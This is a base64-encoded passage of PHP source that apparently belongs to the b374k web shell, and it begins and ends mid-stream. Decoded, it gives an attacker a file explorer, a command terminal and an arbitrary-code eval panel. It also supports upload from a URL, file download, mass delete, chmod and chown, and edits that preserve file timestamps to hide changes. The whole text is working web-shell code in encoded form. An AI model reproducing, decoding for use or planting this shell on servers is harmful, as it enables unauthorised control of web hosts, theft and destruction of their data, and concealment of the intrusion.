bmRfY2xlYW4oKTsKCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOwoJCWhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUiKTsKCQloZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsKCQllY2hvICRzdHI7CgkJZGllKCk7Cgl9Cn0KYmxvY2tfYm90KCk7CmF1dGgoKTsKY2hkaXIoZ2V0X2N3ZCgpKTsKJG5hdiA9IGdldF9uYXYoZ2V0X2N3ZCgpKTsKJHAgPSBhcnJheV9tYXAoInJhd3VybGRlY29kZSIsIGdldF9wb3N0KCkpOwokY3dkID0gaHRtbF9zYWZlKGdldF9jd2QoKSk7CiRHTE9CQUxTWydtb2R1bGUnXSA9IGFycmF5KCk7CiRleHBsb3Jlcl9jb250ZW50ID0gIiI7CmlmKGlzc2V0KCRwWyd2aWV3RW50cnknXSkpewoJJHBhdGggPSB0cmltKCRwWyd2aWV3RW50cnknXSk7CglpZihpc19maWxlKCRwYXRoKSl7CgkJJGRpcm5hbWUgPSByZWFscGF0aChkaXJuYW1lKCRwYXRoKSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlzZXRjb29raWUoImN3ZCIsICRkaXJuYW1lKTsKCQljaGRpcigkZGlybmFtZSk7CgkJJG5hdiA9IGdldF9uYXYoJGRpcm5hbWUpOwoJCSRjd2QgPSBodG1sX3NhZmUoJGRpcm5hbWUpOwoJCSRleHBsb3Jlcl9jb250ZW50ID0gdmlld19maWxlKCRwYXRoLCAiYXV0byIpOwoJfQoJZWxzZWlmKGlzX2RpcigkcGF0aCkpewoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJc2V0Y29va2llKCJjd2QiLCAkcGF0aCk7CgkJY2hkaXIoJHBhdGgpOwoJCSRuYXYgPSBnZXRfbmF2KCRwYXRoKTsKCQkkY3dkID0gaHRtbF9zYWZlKCRwYXRoKTsKCQkkZXhwbG9yZXJfY29udGVudCA9IHNob3dfYWxsX2ZpbGVzKCRwYXRoKTsKCX0KfQplbHNlICRleHBsb3Jlcl9jb250ZW50ID0gc2hvd19hbGxfZmlsZXMoZ2V0X2N3ZCgpKTsKJEdMT0JBTFNbJ21vZHVsZSddWydleHBsb3JlciddWydpZCddID0gImV4cGxvcmVyIjsKJEdMT0JBTFNbJ21vZHVsZSddWydleHBsb3JlciddWyd0aXRsZSddID0gIkV4cGxvcmVyIjsKJEdMT0JBTFNbJ21vZHVsZSddWydleHBsb3JlciddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiIjsKJEdMT0JBTFNbJ21vZHVsZSddWydleHBsb3JlciddWydjb250ZW50J10gPSAkZXhwbG9yZXJfY29udGVudDsKJEdMT0JBTFNbJ21vZHVsZSddWyd0ZXJtaW5hbCddWydpZCddID0gInRlcm1pbmFsIjsKJEdMT0JBTFNbJ21vZHVsZSddWyd0ZXJtaW5hbCddWyd0aXRsZSddID0gIlRlcm1pbmFsIjsKJEdMT0JBTFNbJ21vZHVsZSddWyd0ZXJtaW5hbCddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiCmlmKCghcG9ydGFibGVNb2RlKSAmJiAoJCgnI3Rlcm1pbmFsT3V0cHV0JykuaHRtbCgpPT0nJykpICQoJyN0ZXJtaW5hbElucHV0JykuZm9jdXMoKTsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ2NvbnRlbnQnXSA9ICI8cHJlIGlkPSd0ZXJtaW5hbE91dHB1dCc+PC9wcmU+PHRhYmxlIGlkPSd0ZXJtaW5hbFByb21wdCc+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz48c3BhbiBpZD0ndGVybWluYWxDd2QnIGNsYXNzPSdzdHJvbmcnPiIuZ2V0X2N3ZCgpLiImZ3Q7PC9zcGFuPC90ZD48dGQgaWQ9J3Rlcm1pbmFsQ29tbWFuZCc+PGlucHV0IHR5cGU9J3RleHQnIGlkPSd0ZXJtaW5hbElucHV0JyBjbGFzcz0nZmxvYXRMZWZ0JyBzcGVsbGNoZWNrPSdmYWxzZSc+PC90ZD48L3RyPjwvdGFibGU+IjsKJEdMT0JBTFNbJ21vZHVsZSddWydldmFsJ11bJ2lkJ10gPSAiZXZhbCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXZhbCddWyd0aXRsZSddID0gIkV2YWwiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2V2YWwnXVsnanNfb250YWJzZWxlY3RlZCddID0gIgppZigoIXBvcnRhYmxlTW9kZSkgJiYgKCQoJyNldmFsT3V0cHV0JykuaHRtbCgpPT0nWW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0JykpICQoJyNldmFsSW5wdXQnKS5mb2N1cygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXZhbCddWydjb250ZW50J10gPSAiCjx0YWJsZSBjbGFzcz0nYm94dGJsJz4KPHRoZWFkPgoJPHRyPjx0aCBjb2xzcGFuPSc0Jz48cCBjbGFzcz0nYm94dGl0bGUnPkV2YWw8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHk+Cgk8dHI+PHRkIGNvbHNwYW49JzQnPjx0ZXh0YXJlYSBpZD0nZXZhbElucHV0JyBzcGVsbGNoZWNrPSdmYWxzZScgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+PC90ZXh0YXJlYT48L3RkPjwvdHI+CgkKCTx0ciBpZD0nZXZhbEFkZGl0aW9uYWwnPjx0ZCBjb2xzcGFuPSc0Jz4KCQk8aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2V2YWxPcHRpb25zJyB2YWx1ZT0nT3B0aW9ucy9Td2l0Y2hlcycgc3BlbGxjaGVjaz0nZmFsc2UnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdldmFsX2dvJyk7XCI+CgkJPGlucHV0IHR5cGU9J3RleHQnIGlkPSdldmFsQXJndW1lbnRzJyB2YWx1ZT0nQXJndW1lbnRzJyBzcGVsbGNoZWNrPSdmYWxzZScgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2V2YWxfZ28nKTtcIj4KCTwvdGQ+PC90cj4KCQoJPHRyPgoJCTx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHg7Jz4KCQkJPHNlbGVjdCBpZD0nZXZhbFR5cGUnPgoJCQkJCgkJCTwvc2VsZWN0PgoJCTwvdGQ+CgkJPHRkIGNvbHNwYW49JzMnPgoJCQk8c3BhbiBpZD0nZXZhbFN1Ym1pdCcgc3R5bGU9J3dpZHRoOjEyMHB4OycgY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImV2YWxfZ28oKTtcIj5ydW48L3NwYW4+CQoJCTwvdGQ+Cgk8L3RyPgoJCgk8dHI+PHRkIGNvbHNwYW49JzQnPjxwcmUgaWQ9J2V2YWxPdXRwdXQnPllvdSBjYW4gYWxzbyBwcmVzcyBjdHJsK2VudGVyIHRvIHN1Ym1pdDwvcHJlPjwvdGQ8L3RyPgo8L3Rib2R5Pgo8L3RhYmxlPgoiOwokcmVzID0gIiI7CmlmKGlzc2V0KCRwWydjZCddKSl7CgkkcGF0aCA9ICRwWydjZCddOwoJaWYodHJpbSgkcGF0aCk9PScnKSAkcGF0aCA9IGRpcm5hbWUoX19GSUxFX18pOwoJJHBhdGggPSByZWFscGF0aCgkcGF0aCk7CglpZihpc19maWxlKCRwYXRoKSkgJHBhdGggPSBkaXJuYW1lKCRwYXRoKTsKCWlmKGlzX2RpcigkcGF0aCkpewoJCWNoZGlyKCRwYXRoKTsKCQkkcGF0aCA9ICRwYXRoLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJc2V0Y29va2llKCJjd2QiLCAkcGF0aCk7CgkJJHJlcyA9ICRwYXRoLiJ7W3xiMzc0a3xdfSIuZ2V0X25hdigkcGF0aCkuIntbfGIzNzRrfF19IjsKCQlpZihpc3NldCgkcFsnc2hvd2ZpbGVzJ10pJiYoJHBbJ3Nob3dmaWxlcyddPT0ndHJ1ZScpKXsKCQkJJHJlcyAuPSBzaG93X2FsbF9maWxlcygkcGF0aCk7CgkJfQoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3ZpZXdGaWxlJ10pICYmIGlzc2V0KCRwWyd2aWV3VHlwZSddKSl7CgkkcGF0aCA9IHRyaW0oJHBbJ3ZpZXdGaWxlJ10pOwoJJHR5cGUgPSB0cmltKCRwWyd2aWV3VHlwZSddKTsKCSRwcmVzZXJ2ZVRpbWVzdGFtcCA9IHRyaW0oJHBbJ3ByZXNlcnZlVGltZXN0YW1wJ10pOwoJaWYoaXNfZmlsZSgkcGF0aCkpewoJCSRyZXMgPSB2aWV3X2ZpbGUoJHBhdGgsICR0eXBlLCAkcHJlc2VydmVUaW1lc3RhbXApOwoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3JlbmFtZUZpbGUnXSkgJiYgaXNzZXQoJHBbJ3JlbmFtZUZpbGVUbyddKSl7CgkkcmVuYW1lRmlsZSA9IHRyaW0oJHBbJ3JlbmFtZUZpbGUnXSk7CgkkcmVuYW1lRmlsZVRvID0gdHJpbSgkcFsncmVuYW1lRmlsZVRvJ10pOwoJaWYoZmlsZV9leGlzdHMoJHJlbmFtZUZpbGUpKXsKCQlpZihyZW5hbWUoJHJlbmFtZUZpbGUsICRyZW5hbWVGaWxlVG8pKXsKCQkJJHJlcyA9IGRpcm5hbWUoJHJlbmFtZUZpbGVUbyk7CgkJfQoJCWVsc2UgJHJlcyA9ICJlcnJvciI7Cgl9CgllbHNlICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnbmV3Rm9sZGVyJ10pKXsKCSRuZXdGb2xkZXIgPSB0cmltKCRwWyduZXdGb2xkZXInXSk7CglpZihta2RpcigkbmV3Rm9sZGVyKSl7CgkJJHJlcyA9IGRpcm5hbWUoJG5ld0ZvbGRlcik7Cgl9CgllbHNlICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnbmV3RmlsZSddKSl7CgkkbmV3RmlsZSA9IHRyaW0oJHBbJ25ld0ZpbGUnXSk7CglpZih0b3VjaCgkbmV3RmlsZSkpewoJCSRyZXMgPSBkaXJuYW1lKCRuZXdGaWxlKTsKCX0KCWVsc2UgJHJlcyA9ICJlcnJvciI7CglvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydkZWxldGUnXSkpewoJJHBhdGggPSB0cmltKCRwWydkZWxldGUnXSk7CgkkZGlybmFtZSA9IGRpcm5hbWUoJHBhdGgpOwoJaWYoaXNfZmlsZSgkcGF0aCkpewoJCWlmKHVubGluaygkcGF0aCkpICRyZXMgPSAkZGlybmFtZTsKCX0KCWVsc2VpZihpc19kaXIoJHBhdGgpKXsKCQlpZihybWRpcnMoJHBhdGgpPjApICRyZXMgPSAkZGlybmFtZTsKCX0KCWVsc2UgJHJlcyA9ICJlcnJvciI7CglpZihmaWxlX2V4aXN0cygkcGF0aCkpICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnZWRpdFR5cGUnXSkmJmlzc2V0KCRwWydlZGl0RmlsZW5hbWUnXSkmJmlzc2V0KCRwWydlZGl0SW5wdXQnXSkmJmlzc2V0KCRwWydwcmVzZXJ2ZVRpbWVzdGFtcCddKSl7CgkkZWRpdEZpbGVuYW1lID0gdHJpbSgkcFsnZWRpdEZpbGVuYW1lJ10pOwoJJGVkaXRJbnB1dCA9IHRyaW0oJHBbJ2VkaXRJbnB1dCddKTsKCSRlZGl0VHlwZSA9IHRyaW0oJHBbJ2VkaXRUeXBlJ10pOwoJJHByZXNlcnZlVGltZXN0YW1wID0gdHJpbSgkcFsncHJlc2VydmVUaW1lc3RhbXAnXSk7CgkkdGltZSA9IGZpbGVtdGltZSgkZWRpdEZpbGVuYW1lKTsKCWlmKCRlZGl0VHlwZT09J2hleCcpICRlZGl0SW5wdXQgPSBwYWNrKCJIKiIgLCBwcmVnX3JlcGxhY2UoIi9ccy8iLCIiLCAkZWRpdElucHV0KSk7CglpZih3cml0ZV9maWxlKCRlZGl0RmlsZW5hbWUsICRlZGl0SW5wdXQpKXsKCQkkcmVzID0gJGVkaXRGaWxlbmFtZTsKCQlpZigkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJykgdG91Y2goJGVkaXRGaWxlbmFtZSwgJHRpbWUpOwoJfQoJZWxzZSAkcmVzID0gImVycm9yIjsKCW91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2ZpbmRUeXBlJ10pKXsKCSRmaW5kVHlwZSA9IHRyaW0oJHBbJ2ZpbmRUeXBlJ10pOwoJJGZpbmRQYXRoID0gdHJpbSgkcFsnZmluZFBhdGgnXSk7CgkkZmluZE5hbWUgPSB0cmltKCRwWydmaW5kTmFtZSddKTsKCSRmaW5kTmFtZVJlZ2V4ID0gdHJpbSgkcFsnZmluZE5hbWVSZWdleCddKTsKCSRmaW5kTmFtZUluc2Vuc2l0aXZlID0gdHJpbSgkcFsnZmluZE5hbWVJbnNlbnNpdGl2ZSddKTsKCSRmaW5kQ29udGVudCA9IHRyaW0oJHBbJ2ZpbmRDb250ZW50J10pOwoJJGZpbmRDb250ZW50UmVnZXggPSB0cmltKCRwWydmaW5kQ29udGVudFJlZ2V4J10pOwoJJGZpbmRDb250ZW50SW5zZW5zaXRpdmUgPSB0cmltKCRwWydmaW5kQ29udGVudEluc2Vuc2l0aXZlJ10pOwoJJGZpbmRSZWFkYWJsZSA9IHRyaW0oJHBbJ2ZpbmRSZWFkYWJsZSddKTsKCSRmaW5kV3JpdGFibGUgPSB0cmltKCRwWydmaW5kV3JpdGFibGUnXSk7CgkkZmluZEV4ZWN1dGFibGUgPSB0cmltKCRwWydmaW5kRXhlY3V0YWJsZSddKTsKCSRjYW5kaWRhdGUgPSBnZXRfYWxsX2ZpbGVzKCRmaW5kUGF0aCk7CglpZigkZmluZFR5cGU9PSdmaWxlJykgJGNhbmRpZGF0ZSA9IGFycmF5X2ZpbHRlcigkY2FuZGlkYXRlLCAiaXNfZmlsZSIpOwoJZWxzZWlmKCRmaW5kVHlwZT09J2ZvbGRlcicpICRjYW5kaWRhdGUgPSBhcnJheV9maWx0ZXIoJGNhbmRpZGF0ZSwgImlzX2RpciIpOwoJZWxzZSAkcmVzID0gImVycm9yIjsKCWZvcmVhY2goJGNhbmRpZGF0ZSBhcyAkayl7CgkJaWYoKCRmaW5kVHlwZT09ImZpbGUiKXx8KCRmaW5kVHlwZT09ImZvbGRlciIpKXsKCQkJaWYoIWVtcHR5KCRmaW5kTmFtZSkpewoJCQkJaWYoJGZpbmROYW1lUmVnZXg9PSJ0cnVlIil7CgkJCQkJJGNhc2UgPSAoJGZpbmROYW1lSW5zZW5zaXRpdmU9PSJ0cnVlIik/ICJpIjoiIjsKCQkJCQlpZighcHJlZ19tYXRjaCgiLyIuJGZpbmROYW1lLiIvIi4kY2FzZSwgYmFzZW5hbWUoJGspKSl7CgkJCQkJCSRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZXsKCQkJCQkkY2hlY2sgPSBmYWxzZTsKCQkJCQlpZigkZmluZE5hbWVJbnNlbnNpdGl2ZT09InRydWUiKXsKCQkJCQkJJGNoZWNrID0gc3RycG9zKHN0cnRvbG93ZXIoYmFzZW5hbWUoJGspKSwgc3RydG9sb3dlcigkZmluZE5hbWUpKT09PWZhbHNlOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQkkY2hlY2sgPSBzdHJwb3MoYmFzZW5hbWUoJGspLCAkZmluZE5hbWUpPT09ZmFsc2U7CgkJCQkJfQoJCQkJCWlmKCRjaGVjayl7CgkJCQkJCSRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCWlmKCRmaW5kVHlwZT09ImZpbGUiKXsKCQkJaWYoIWVtcHR5KCRmaW5kQ29udGVudCkpewoJCQkJJGNvbnRlbnQgPSByZWFkX2ZpbGUoJGspOwoJCQkJaWYoJGZpbmRDb250ZW50UmVnZXg9PSJ0cnVlIil7CgkJCQkJJGNhc2UgPSAoJGZpbmRDb250ZW50SW5zZW5zaXRpdmU9PSJ0cnVlIik/ICJpIjoiIjsKCQkJCQlpZighcHJlZ19tYXRjaCgiLyIuJGZpbmRDb250ZW50LiIvIi4kY2FzZSwgJGNvbnRlbnQpKXsKCQkJCQkJJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlewoJCQkJCSRjaGVjayA9IGZhbHNlOwoJCQkJCWlmKCRmaW5kQ29udGVudEluc2Vuc2l0aXZlPT0idHJ1ZSIpewoJCQkJCQkkY2hlY2sgPSBzdHJwb3Moc3RydG9sb3dlcigkY29udGVudCksIHN0cnRvbG93ZXIoJGZpbmRDb250ZW50KSk9PT1mYWxzZTsKCQkJCQl9CgkJCQkJZWxzZXsKCQkJCQkJJGNoZWNrID0gc3RycG9zKCRjb250ZW50LCAkZmluZENvbnRlbnQpPT09ZmFsc2U7CgkJCQkJfQoJCQkJCWlmKCRjaGVjayl7CgkJCQkJCSRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJfQoJZm9yZWFjaCgkY2FuZGlkYXRlIGFzICRrKXsKCQlpZigkZmluZFJlYWRhYmxlPT0idHJ1ZSIpewoJCQlpZighaXNfcmVhZGFibGUoJGspKSAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOwoJCX0KCQlpZigkZmluZFdyaXRhYmxlPT0idHJ1ZSIpewoJCQlpZighaXNfd3JpdGFibGUoJGspKSAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOwoJCX0KCQlpZigkZmluZEV4ZWN1dGFibGU9PSJ0cnVlIil7CgkJCWlmKCFpc19leGVjdXRhYmxlKCRrKSkgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsKCQl9Cgl9CglpZihjb3VudCgkY2FuZGlkYXRlKT4wKXsKCQkkcmVzID0gIiI7CgkJZm9yZWFjaCgkY2FuZGlkYXRlIGFzICRrKXsKCQkJJHJlcyAuPSAiPHA+PHNwYW4gY2xhc3M9J3N0cm9uZyc+Jmd0Ozwvc3Bhbj4mbmJzcDs8YSBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRrKS4iJyBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOyc+Ii5odG1sX3NhZmUoJGspLiI8L2E+PC9wPiI7CgkJfQoJfQoJZWxzZSAkcmVzID0gIiI7CglvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyd1bFR5cGUnXSkpewoJJHVsU2F2ZVRvID0gdHJpbSgkcFsndWxTYXZlVG8nXSk7CgkkdWxGaWxlbmFtZSA9IHRyaW0oJHBbJ3VsRmlsZW5hbWUnXSk7CglpZigkcFsndWxUeXBlJ109PSdjb21wJyl7CgkJJHVsRmlsZSA9ICRfRklMRVNbJ3VsRmlsZSddOwoJCWlmKGVtcHR5KCR1bEZpbGVuYW1lKSkgJHVsRmlsZW5hbWUgPSAkdWxGaWxlWyduYW1lJ107CgkJaWYoaXNfdXBsb2FkZWRfZmlsZSgkdWxGaWxlWyd0bXBfbmFtZSddKSl7CgkJCWlmKCFpc19kaXIoJHVsU2F2ZVRvKSkgbWtkaXIoJHVsU2F2ZVRvKTsKCQkJJG5ld2ZpbGUgPSByZWFscGF0aCgkdWxTYXZlVG8pLkRJUkVDVE9SWV9TRVBBUkFUT1IuJHVsRmlsZW5hbWU7CgkJCWlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkdWxGaWxlWyd0bXBfbmFtZSddLCAkbmV3ZmlsZSkpewoJCQkJJHJlcyA9ICI8c3BhbiBjbGFzcz0nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJG5ld2ZpbGUpLiInIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7Jz4iLmh0bWxfc2FmZSgkbmV3ZmlsZSkuIjwvYT4mbmJzcDsoIDEwMCUgKSI7CgkJCX0KCQkJZWxzZSAkcmVzID0gImVycm9yIjsKCQl9CgkJZWxzZSAkcmVzID0gImVycm9yIjsKCX0KCWVsc2VpZigkcFsndWxUeXBlJ109PSd1cmwnKXsKCQkkdWxGaWxlID0gdHJpbSgkcFsndWxGaWxlJ10pOwoJCWlmKGVtcHR5KCR1bEZpbGVuYW1lKSkgJHVsRmlsZW5hbWUgPSBiYXNlbmFtZSgkdWxGaWxlKTsKCQlpZighaXNfZGlyKCR1bFNhdmVUbykpIG1rZGlyKCR1bFNhdmVUbyk7CgkJJG5ld2ZpbGUgPSByZWFscGF0aCgkdWxTYXZlVG8pLkRJUkVDVE9SWV9TRVBBUkFUT1IuJHVsRmlsZW5hbWU7CgkJaWYoZG93bmxvYWQoJHVsRmlsZSwgJG5ld2ZpbGUpKXsKCQkJJHJlcyA9ICI8c3BhbiBjbGFzcz0nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJG5ld2ZpbGUpLiInIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7Jz4iLmh0bWxfc2FmZSgkbmV3ZmlsZSkuIjwvYT4mbmJzcDsoIDEwMCUgKSI7CgkJfQoJCWVsc2UgJHJlcyA9ICJlcnJvciI7Cgl9CgllbHNlICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnZG93bmxvYWQnXSkpewoJJGZpbGUgPSB0cmltKCRwWydkb3dubG9hZCddKTsKCWlmKGlzX2ZpbGUoJGZpbGUpKXsKCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CgkJaGVhZGVyKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnknKTsKCQloZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRmaWxlKSk7CgkJaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1jYWNoZSIpOwoJCWhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iXCI7Iik7CgkJJGhhbmRsZXIgPSBmb3BlbigkZmlsZSwicmIiKTsKCQl3aGlsZSghZmVvZigkaGFuZGxlcikpewoJCQlwcmludChmcmVhZCgkaGFuZGxlciwgMTAyNCo4KSk7CgkJCUBvYl9mbHVzaCgpOwoJCQlAZmx1c2goKTsKCQl9CgkJZmNsb3NlKCRoYW5kbGVyKTsKCQlkaWUoKTsKCX0KfQplbHNlaWYoaXNzZXQoJHBbJ211bHRpbWVkaWEnXSkpewoJJGZpbGUgPSB0cmltKCRwWydtdWx0aW1lZGlhJ10pOwoJJG1pbWVfbGlzdCA9IGdldF9yZXNvdXJjZSgnbWltZScpOwoJJG1pbWUgPSAiIjsKCSRmaWxlX2V4dF9wb3MgPSBzdHJycG9zKCRmaWxlLCAiLiIpOwoJaWYoJGZpbGVfZXh0X3BvcyE9PWZhbHNlKXsKCQkkZmlsZV9leHQgPSB0cmltKHN1YnN0cigkZmlsZSwgJGZpbGVfZXh0X3BvcyksIi4iKTsKCQlpZihwcmVnX21hdGNoKCIvKFteXHNdKylcIC4qXGIiLiRmaWxlX2V4dC4iXGIuKi9pIiwgJG1pbWVfbGlzdCwgJHJlcykpewoJCQkkbWltZSA9ICRyZXNbMV07CgkJfQoJfQoJaWYoaXNfZmlsZSgkZmlsZSkpewoJCWhlYWRlcigiQ29udGVudC1UeXBlOiAiLiRtaW1lKTsKCQloZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOwoJCWhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGZpbGUpKTsKCQllY2hvICJkYXRhOiIuJG1pbWUuIjtiYXNlNjQsIi5iYXNlNjRfZW5jb2RlKHJlYWRfZmlsZSgkZmlsZSkpOwoJCWRpZSgpOwoJfQp9CmVsc2VpZihpc3NldCgkcFsnbWFzc1R5cGUnXSkmJmlzc2V0KCRwWydtYXNzQnVmZmVyJ10pJiZpc3NldCgkcFsnbWFzc1BhdGgnXSkmJmlzc2V0KCRwWydtYXNzVmFsdWUnXSkpewoJJG1hc3NUeXBlID0gdHJpbSgkcFsnbWFzc1R5cGUnXSk7CgkkbWFzc0J1ZmZlciA9IHRyaW0oJHBbJ21hc3NCdWZmZXInXSk7CgkkbWFzc1BhdGggPSByZWFscGF0aCgkcFsnbWFzc1BhdGgnXSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCSRtYXNzVmFsdWUgPSB0cmltKCRwWydtYXNzVmFsdWUnXSk7CgkkY291bnRlciA9IDA7CgkkbWFzc0J1ZmZlckFyciA9IGV4cGxvZGUoIlxuIiwgJG1hc3NCdWZmZXIpOwoJaWYoKCRtYXNzVHlwZT09J3RhcicpfHwoJG1hc3NUeXBlPT0ndGFyZ3onKXx8KCRtYXNzVHlwZT09J3ppcCcpKXsKCQlpZihjb21wcmVzcygkbWFzc1R5cGUsICRtYXNzVmFsdWUsICRtYXNzQnVmZmVyQXJyKSl7CgkJCSRjb3VudGVyKys7CgkJCXJldHVybiAkY291bnRlcjsKCQl9Cgl9CgllbHNlewoJCWZvcmVhY2goJG1hc3NCdWZmZXJBcnIgYXMgJGspewoJCQkkcGF0aCA9IHRyaW0oJGspOwoJCQlpZihmaWxlX2V4aXN0cygkcGF0aCkpewoJCQkJJHByZXNlcnZlVGltZXN0YW1wID0gZmlsZW10aW1lKCRwYXRoKTsKCQkJCWlmKCRtYXNzVHlwZT09J2RlbGV0ZScpewoJCQkJCWlmKGlzX2ZpbGUoJHBhdGgpKXsKCQkJCQkJaWYodW5saW5rKCRwYXRoKSkgJGNvdW50ZXIrKzsKCQkJCQl9CgkJCQkJZWxzZWlmKGlzX2RpcigkcGF0aCkpewoJCQkJCQlpZihybWRpcnMoJHBhdGgpPjApICRjb3VudGVyKys7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZWlmKCRtYXNzVHlwZT09J2N1dCcpewoJCQkJCSRkZXN0ID0gJG1hc3NQYXRoLmJhc2VuYW1lKCRwYXRoKTsKCQkJCQlpZihyZW5hbWUoJHBhdGgsICRkZXN0KSl7CgkJCQkJCSRjb3VudGVyKys7CgkJCQkJCXRvdWNoKCRkZXN0LCAkcHJlc2VydmVUaW1lc3RhbXApOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2VpZigkbWFzc1R5cGU9PSdjb3B5Jyl7CgkJCQkJJGRlc3QgPSAkbWFzc1BhdGguYmFzZW5hbWUoJHBhdGgpOwoJCQkJCWlmKGlzX2RpcigkcGF0aCkpewoJCQkJCQlpZihjb3B5cygkcGF0aCwgJGRlc3QpPjApICRjb3VudGVyKys7CgkJCQkJfQoJCQkJCWVsc2VpZihpc19maWxlKCRwYXRoKSl7CgkJCQkJCWlmKGNvcHkoJHBhdGgsICRkZXN0KSkgJGNvdW50ZXIrKzsKCQkJCQl9CgkJCQl9CgkJCQllbHNlaWYoKCRtYXNzVHlwZT09J3VudGFyJyl8fCgkbWFzc1R5cGU9PSd1bnRhcmd6Jyl8fCgkbWFzc1R5cGU9PSd1bnppcCcpKXsKCQkJCQlpZihkZWNvbXByZXNzKCRtYXNzVHlwZSwgJHBhdGgsICRtYXNzVmFsdWUpKXsKCQkJCQkJJGNvdW50ZXIrKzsKCQkJCQkJcmV0dXJuICRjb3VudGVyOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2VpZighZW1wdHkoJG1hc3NWYWx1ZSkpewoJCQkJCWlmKCRtYXNzVHlwZT09J2NobW9kJyl7CgkJCQkJCWlmKGNobW9kKCRwYXRoLCBvY3RkZWMoJG1hc3NWYWx1ZSkpKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCQllbHNlaWYoJG1hc3NUeXBlPT0nY2hvd24nKXsKCQkJCQkJaWYoY2hvd24oJHBhdGgsICRtYXNzVmFsdWUpKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCQllbHNlaWYoJG1hc3NUeXBlPT0ndG91Y2gnKXsKCQkJCQkJaWYodG91Y2goJHBhdGgsIHN0cnRvdGltZSgkbWFzc1ZhbHVlKSkpICRjb3VudGVyKys7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJfQoJaWYoJGNvd